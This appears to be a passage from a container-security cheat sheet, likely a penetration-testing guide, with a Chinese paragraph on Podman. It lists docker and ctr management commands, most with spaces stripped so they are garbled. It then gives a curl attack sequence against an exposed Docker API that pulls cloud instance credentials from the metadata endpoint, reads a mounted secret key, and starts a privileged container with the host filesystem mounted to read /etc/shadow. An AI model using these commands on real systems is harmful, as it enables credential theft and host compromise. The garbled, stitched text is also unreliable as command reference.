dockerversion#Get version of docker client, API, engine, containerd, runc, docker-initdockerinfo#Get more infomarion about docker settingsdockerpullregistry:5000/alpine#Download the imagedockerinspect<containerid>#Get info of the contaienrdockernetworkls#List network infodockerexec-it<containerid>/bin/sh#Get shell inside a containerdockercommit<cotainerid>registry:5000/name-container#Update containerdockerexport-oalpine.tar<containerid>#Export container as tar filedockersave-oubuntu.tar<image>#Export an imagedockerps-a#List running and stopped containersdockerstop<containedID>#Stop running containerdockerrm<containerID>#Remove container IDdockerimagels#List imagesdockerrmi<imgeID>#Remove imagedockersystemprune-a#This will remove:# - all stopped containers# - all networks not used by at least one container# - all images without at least one container associated to them# - all build cache
#Containerd CLIctrimagespull--skip-verify--plain-httpregistry:5000/alpine:latest#Get imagectrimageslist#List imagesctrcontainercreateregistry:5000/alpine:latestalpine#Create container called alpinectrcontainerlist#List containersctrcontainerinfo<containerName>#Get container infoctrtaskstart<containerName>#You are given a shell inside of itctrtasklist#Get status of containersctrtasksattach<containerName>#Get shell in running containerctrtaskpause<containerName>#Stop containerctrtasksresume<containerName>#Resume cotainerctrtaskkill-sSIGKILL<containerName>#Stop running containerctrcontainerdelete<containerName>
Podman
Podman 是一个遵循开放容器倡议(OCI)标准的开源容器引擎,由 Red Hat 开发和维护。它与 Docker 有几个明显的特点不同,尤其是其无守护程序架构和对无根权限容器的支持,使用户能够在无需 root 权限的情况下运行容器。
Podman 的设计旨在与 Docker 的 API 兼容,允许使用 Docker CLI 命令。这种兼容性延伸到其生态系统,其中包括诸如Buildah(用于构建容器镜像)和Skopeo(用于推送、拉取和检查镜像等操作)等工具。有关这些工具的更多详细信息,请参阅它们的GitHub 页面。
#List containerscurl–insecurehttps://tlsopen.docker.socket:2376/containers/json|jq#List processes inside a containercurl–insecurehttps://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top|jq#Set up and exec job to hit the metadata URLcurl–insecure-XPOST-H"Content-Type: application/json"https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec-d'{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'#Get the outputcurl–insecure-XPOST-H"Content-Type: application/json"https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start-d'{}'# list secrets (no secrets/swarm not set up)curl-s–insecurehttps://tlsopen.docker.socket:2376/secrets|jq#Check what is mountedcurl–insecure-XPOST-H"Content-Type: application/json"https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec-d'{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'#Get the output by starting the execcurl–insecure-XPOST-H"Content-Type: application/json"https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start-d'{}'#Cat the mounted secretcurl–insecure-XPOST-H"Content-Type: application/json"https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec-d'{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'#List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables)curl-s–insecurehttps://tls-opendocker.socket:2376/services|jq#Creating a container that has mounted the host file system and read /etc/shadowcurl–insecure-XPOST-H"Content-Type: application/json"https://tls-opendocker.socket2376/containers/create?name=test-d'{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'curl–insecure-XPOST-H"Content-Type: application/json"https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=testcurl–insecure-XPOST-H"Content-Type: application/json"https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec-d'{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'curl–insecure-XPOST-H"Content-Type: application/json"https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start-d'{}'#Stop the containercurl–insecure-vv-XPOST-H"Content-Type: application/json"https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop#Delete stopped containerscurl–insecure-vv-XPOST-H"Content-Type: application/json"https://tls-opendocker.socket:2376/containers/prune